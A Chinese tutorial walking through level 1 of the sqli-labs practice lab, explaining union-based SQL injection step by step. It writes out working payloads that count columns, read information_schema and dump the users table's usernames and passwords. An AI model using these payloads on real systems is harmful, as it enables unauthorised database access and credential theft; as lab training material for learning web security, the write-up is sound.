本文环境搭建使用的是小皮,靶机压缩包:通过百度网盘分享的文件:sqli-labs-php7-master.zip
链接:https://pan.baidu.com/s/1xBfsi2lyrA1QgUWycRsHeQ?pwd=qwer
提取码:qwer
下载解压至phpstudy的WWW目录下即可。
第一关如下:判断是否存在注入点。
页面提示我们输入ID作为数值参数,
我们查看该关卡的php源码进行分析:第一步是要连接MySQL,二这个MySQL进行了一个文件包含,将sql-connections/sqli-connect.php的文件代码参数用至index.php中,连接至数据库后的if(isset($_GET['id']))等代码就是进行数据库的一个查询。这里的isset($_GET['id']))代码不知道是什么意思的可以去PHP: PHP 手册 - Manual进行一个查询:
传参有GET和POST两种传参方式,GET传参一般在浏览器的地址栏中传参,POST传参一般在from表单中传参。然后我们传入id=1即输入?id=1,回车后页面显示如下我们的名字和密码为Dumb。传入id=2时返回的名字密码也不同,说明我们传入的值是被带进数据库中进行了一个查询并打印到前端页面中来。也就是说通过php源码我们可以看出该关卡的内容很简单,就是接收参数,查询数据库,前端显示的一个操作。
然后我们可以从中看出该代码存在的漏洞:首先没有对用户的输入进行一个过滤
因为没有对用户输入做过滤,我们进行一个联合查询,注意地址栏中的%20是空格符,因为编码先转ASCLL码再转十六进制,前面的0x变为%替代。但是查询结果依然是?id=1的结果。
在源码中我们可以看到查询语句是这一句。
我们union select 1,2,3就相当于
注意前面id的单引号,我们联合查询的语句并没有进入,在数据库中执行的语句依然为id = 1,没有我们要联合查询的语句,所以我们要逃离单引号,逃离单引号我们可以加一个单引号使之闭合。
union select 1,2,3'就像这种,注意单双引号要成对出现,不然会报错。所以我们需要给他闭合上单引号。但是我们已经逃脱了单引号的控制。
我们联合查询多的单引号就要想办法去给他搞掉。我们有两个办法去把这个单引号弄掉;1.加个单引号,给它闭合上。2.给这个单引号注释掉。MySQL的注释符有三个:-- 和# 和/***/ */这三个注释符。若是依然报错,地址栏中注释符存在,则我们可以转为ASCII编码再转十六进制再去尝试即可。
我们的最终目的是注入管理员的账号密码,首先我们就需要知道管理员表表名和列名。
我们不知道管理员的表名列名,但是我们可以知道MySQL自带的三个表, information_schema, mysql,performance_schema 这三个表。重点放在信息表information_schema它包含了数据库里的所有表。
我们通过order by检测它的列数,?id=1'order by 1 --+通过1,2,3,4一个一个去尝试,发现其列数为3列。
查询前端显示的是1,2,3列中的那一列?id=-1'union select 1,2,3--+得到显示的是2,3列。这里将id值作为-1是为了让前面的语句失效再使用union查询是否有回显位。
查找它的数据库名字和版本?id=-1'union select 1,database(),version()--+得到它的数据库名为security。
在information_schema中存在的columns表(列名)和table表(表名)是我们需要查看的地方。则通过
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+查询出表名。
在表名里我们看到了users用户表,再查看它的字段名?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+,
在里面我们看到了username表和password表。就直接进行查询这个users中的username和password。
?id=-1' union select 1,2,group_concat(username , password) from users--+
拿到账号密码这样看太抽象了,于是我又换了个代码查询。
?id=-1' union select 1,username,password from users where id=2 --+
?id=-1' union select 1,username,password from users where id=3 --+
?id=-1' union select 1,username,password from users where id=4 --+
上就是第一关的内容了。